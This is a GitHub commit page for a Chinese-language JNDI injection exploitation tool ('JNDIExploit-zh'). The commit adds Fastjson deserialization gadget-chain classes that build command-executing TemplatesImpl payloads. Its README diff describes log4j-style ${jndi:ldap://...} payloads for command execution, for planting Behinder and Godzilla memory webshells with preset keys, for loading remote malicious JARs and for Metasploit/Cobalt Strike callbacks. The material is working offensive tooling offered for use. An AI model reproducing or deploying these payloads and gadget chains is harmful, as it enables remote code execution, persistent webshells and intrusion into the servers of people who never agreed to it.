Skip to content

Commit b9d4eef

Browse files
author
Nu1r
committed
提交项目
1 parent 7eff67d commit b9d4eef

File tree

7 files changed

+132
-11
lines changed

7 files changed

+132
-11
lines changed

.idea/JNDIExploit-zh.iml

Lines changed: 2 additions & 0 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

.idea/libraries/Maven__com_alibaba_fastjson2_fastjson2_2_0_26.xml

Lines changed: 13 additions & 0 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

.idea/libraries/Maven__com_alibaba_fastjson_1_2_48.xml

Lines changed: 13 additions & 0 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

README.md

Lines changed: 21 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -18,11 +18,14 @@ Usage: java -jar JNDI-NU.jar [options]
1818

1919
* 目前支持的所有 ```PayloadType```
2020
* ```Bypass```: 用于rmi本地工厂类加载,通过添加自定义```header``` ```nu1r: whoami``` 的方式传递想要执行的命令
21-
* ```TomcatEcho```: 用于在中间件为 ```Tomcat``` 时命令执行结果的回显,通过添加自定义```header``` ```nu1r: whoami```的方式传递想要执行的命令
22-
* ```SpringEcho```: 用于在框架为 ```SpringMVC/SpringBoot``` 时命令执行结果的回显,通过添加自定义```header``` ```nu1r: whoami``` 的方式传递想要执行的命令
21+
* ```TomcatEcho```: 用于在中间件为 ```Tomcat``` 时命令执行结果的回显,通过添加自定义```header``` ```nu1r: whoami```
22+
的方式传递想要执行的命令
23+
* ```SpringEcho```: 用于在框架为 ```SpringMVC/SpringBoot```
24+
时命令执行结果的回显,通过添加自定义```header``` ```nu1r: whoami``` 的方式传递想要执行的命令
2325
* ```JbossEcho```: Jboss 命令执行回显, 通过添加自定义```header``` ```nu1r: whoami``` 的方式传递想要执行的命令
2426
* ```AllEcho```: Jboss 命令执行回显, 通过添加自定义```header``` ```nu1r: whoami``` 的方式传递想要执行的命令
2527
* ```nu1r```:用于执行命令,如果命令有特殊字符,支持对命令进行 Base64编码后传输
28+
2629
```
2730
{{url
2831
(${jndi:ldap://0.0.0.0:1389/TomcatBypass/nu1r/Base64/{{base64
@@ -31,7 +34,6 @@ Usage: java -jar JNDI-NU.jar [options]
3134
}}
3235
```
3336

34-
3537
- 支持tomcatBypass路由直接上线msf:
3638

3739
```
@@ -50,12 +52,13 @@ Usage: java -jar JNDI-NU.jar [options]
5052

5153
使用说明:
5254
不指定类型就默认为冰蝎马。
55+
5356
- t 选择内存马的类型
54-
- 不指定类型就默认为冰蝎马
55-
- bx: 冰蝎内存马,```key: nu1ryyds```, ```Referer:https://nu1r.cn/```
56-
- gz: 哥斯拉内存马,```pass: nu1r```, ```Referer:https://nu1r.cn/```
57-
- gzraw: 哥斯拉 raw 类型的内存马, ```pass: nu1r```, ```Referer:https://nu1r.cn/```
58-
- cmd: cmd命令回显内存马。
57+
- 不指定类型就默认为冰蝎马
58+
- bx: 冰蝎内存马,```key: nu1ryyds```, ```Referer:https://nu1r.cn/```
59+
- gz: 哥斯拉内存马,```pass: nu1r```, ```Referer:https://nu1r.cn/```
60+
- gzraw: 哥斯拉 raw 类型的内存马, ```pass: nu1r```, ```Referer:https://nu1r.cn/```
61+
- cmd: cmd命令回显内存马。
5962
- a:是否继承恶意类 AbstractTranslet
6063
- o:使用反射绕过
6164
- w:Windows下使用Agent写入
@@ -67,6 +70,7 @@ Usage: java -jar JNDI-NU.jar [options]
6770
- ht:隐藏内存外壳,输入1:write /jre/lib/charsets.jar 2:write /jre/classes/
6871

6972
示例
73+
7074
```shell
7175
{{url
7276
(${jndi:ldap://111.229.10.212:1389/Basic/tomcatfilterjmx/shell/-u path223 -pw 123456 -r tth.cn})
@@ -119,6 +123,7 @@ RC :Remote Call - 通过 URLClassLoader.loadClass()
119123
来调用远程恶意类并初始化,使用命令:RC-http://xxxx.com/evil.jar#EvilClass
120124

121125
换成CS或者MSF生成的JAR包,即可完成一键上线。
126+
122127
```
123128
{{url
124129
(${jndi:ldap://0.0.0.0:1389/Deserialization/Clojure/nu1r/Base64/{{base64
@@ -247,6 +252,8 @@ WF :Write File - 通过 FileOutputStream.write() 来写入文件,使用命
247252
| CommonsCollectionsK4 | org.apache.commons:commons-collections4:4.0 | CC6简化的写法的4.0版 |
248253
| CommonsCollectionsK5 | org.apache.commons:commons-collections4:4.0 | CC7的4.0版 |
249254
| CommonsCollectionsK6 | org.apache.commons:commons-collections4:4.0 | CC11的4.0版 |
255+
| Fastjson1 | Fastjosn 1.2.48 | |
256+
| Fastjson2 | Fastjosn 2+ | |
250257
| Groovy1 | org.codehaus.groovy:groovy:2.3.9 | |
251258
| Hibernate1 | org.hibernate:hibernate-core:5.0.7.Final<br/>org.hibernate:hibernate-core:4.3.11.Final | |
252259
| Hibernate2 | org.hibernate:hibernate-core:5.0.7.Final<br/>org.hibernate:hibernate-core:4.3.11.Final | |
@@ -273,9 +280,10 @@ WF :Write File - 通过 FileOutputStream.write() 来写入文件,使用命
273280

274281
- a:恶意类是否继承 AbstractTranslet
275282
- o:使用反射绕过
276-
~~- j:使用 ObjectInputStream/ObjectOutputStream 来构造序列化流~~(这个构造的流有BUG,还在思考修复)
283+
~~- j:使用 ObjectInputStream/ObjectOutputStream 来构造序列化流~~(这个构造的流有BUG,还在思考修复)
277284

278285
* 使用示例:
286+
279287
```
280288
{{url
281289
(${jndi:ldap://0.0.0.0:1389/Deserialization/[GadgetType]/nu1r/Base64/{{base64
@@ -409,11 +417,13 @@ BC :BCEL Classloader - 通过 ..bcel...ClassLoader.loadClass().newInstance()
409417

410418
对于使用了 `TemplatesImpl` 类来实现的链子来说,可以使用此方法
411419

412-
如果你不想使用本项目中提供的恶意逻辑,也不想执行命令,可以通过自定义代码的形式,自定义代码将会在目标服务器通过 `ClassLoader` 进行加载并实例化。命令使用 `LF#` 开头,后面跟指定自定义类字节码文件的绝对路径。
420+
如果你不想使用本项目中提供的恶意逻辑,也不想执行命令,可以通过自定义代码的形式,自定义代码将会在目标服务器通过 `ClassLoader`
421+
进行加载并实例化。命令使用 `LF#` 开头,后面跟指定自定义类字节码文件的绝对路径。
413422

414423
示例:
415424

416425
**class 类文件绝对路径**
426+
417427
```
418428
{{url
419429
(${jndi:ldap://0.0.0.0:1389/Deserialization/CommonsCollections3/nu1r/Base64/{{base64
@@ -447,13 +457,13 @@ BC :BCEL Classloader - 通过 ..bcel...ClassLoader.loadClass().newInstance()
447457

448458
![](https://gallery-1304405887.cos.ap-nanjing.myqcloud.com/markdownQQ截图20221107151444.png)
449459

450-
451460
# 🐳自定义
452461

453462
+ 自定义链子
454463

455464
`com.nu1r.jndi.gadgets` 下新建JAVA文件,并实现接口 ObjectPayload 后在 getObject 方法中编写链子逻辑即可。
456465
使用
466+
457467
```
458468
{{url
459469
(${jndi:ldap://0.0.0.0:1389/Deserialization/自定义链子的类名/nu1r/Base64/{{base64

pom.xml

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -120,6 +120,16 @@
120120
<artifactId>rome</artifactId>
121121
<version>1.0</version>
122122
</dependency>
123+
<dependency>
124+
<groupId>com.alibaba</groupId>
125+
<artifactId>fastjson</artifactId>
126+
<version>1.2.48</version>
127+
</dependency>
128+
<dependency>
129+
<groupId>com.alibaba.fastjson2</groupId>
130+
<artifactId>fastjson2</artifactId>
131+
<version>2.0.26</version>
132+
</dependency>
123133
<dependency>
124134
<groupId>org.apache.tomcat</groupId>
125135
<artifactId>tomcat-websocket</artifactId>
Lines changed: 37 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,37 @@
1+
package com.nu1r.jndi.gadgets;
2+
3+
import com.alibaba.fastjson.JSONArray;
4+
import com.nu1r.jndi.enumtypes.PayloadType;
5+
import com.nu1r.jndi.gadgets.ObjectPayload;
6+
import com.nu1r.jndi.gadgets.utils.Gadgets;
7+
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
8+
import javassist.ClassPool;
9+
import javassist.CtClass;
10+
import javassist.CtConstructor;
11+
12+
import javax.management.BadAttributeValueExpException;
13+
import java.lang.reflect.Field;
14+
15+
public class Fastjson1 implements ObjectPayload<Object> {
16+
@Override
17+
public Object getObject(PayloadType type, String... param) throws Exception {
18+
ClassPool pool = ClassPool.getDefault();
19+
CtClass clazz = pool.makeClass("a");
20+
CtClass superClass = pool.get(AbstractTranslet.class.getName());
21+
clazz.setSuperclass(superClass);
22+
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
23+
constructor.setBody("Runtime.getRuntime().exec(\"open -na Calculator\");");
24+
clazz.addConstructor(constructor);
25+
Object templates = Gadgets.createTemplatesImpl(type,param);
26+
27+
28+
JSONArray jsonArray = new JSONArray();
29+
jsonArray.add(templates);
30+
31+
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
32+
Field valfield = val.getClass().getDeclaredField("val");
33+
valfield.setAccessible(true);
34+
valfield.set(val, jsonArray);
35+
return val;
36+
}
37+
}
Lines changed: 36 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,36 @@
1+
package com.nu1r.jndi.gadgets;
2+
3+
import com.alibaba.fastjson2.JSONArray;
4+
import com.nu1r.jndi.enumtypes.PayloadType;
5+
import com.nu1r.jndi.gadgets.utils.Gadgets;
6+
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
7+
import javassist.ClassPool;
8+
import javassist.CtClass;
9+
import javassist.CtConstructor;
10+
11+
import javax.management.BadAttributeValueExpException;
12+
import java.lang.reflect.Field;
13+
14+
public class Fastjson2 implements ObjectPayload<Object> {
15+
@Override
16+
public Object getObject(PayloadType type, String... param) throws Exception {
17+
ClassPool pool = ClassPool.getDefault();
18+
CtClass clazz = pool.makeClass("a");
19+
CtClass superClass = pool.get(AbstractTranslet.class.getName());
20+
clazz.setSuperclass(superClass);
21+
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
22+
constructor.setBody("Runtime.getRuntime().exec(\"open -na Calculator\");");
23+
clazz.addConstructor(constructor);
24+
Object templates = Gadgets.createTemplatesImpl(type,param);
25+
26+
27+
JSONArray jsonArray = new JSONArray();
28+
jsonArray.add(templates);
29+
30+
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
31+
Field valfield = val.getClass().getDeclaredField("val");
32+
valfield.setAccessible(true);
33+
valfield.set(val, jsonArray);
34+
return val;
35+
}
36+
}

0 commit comments

Comments
 (0)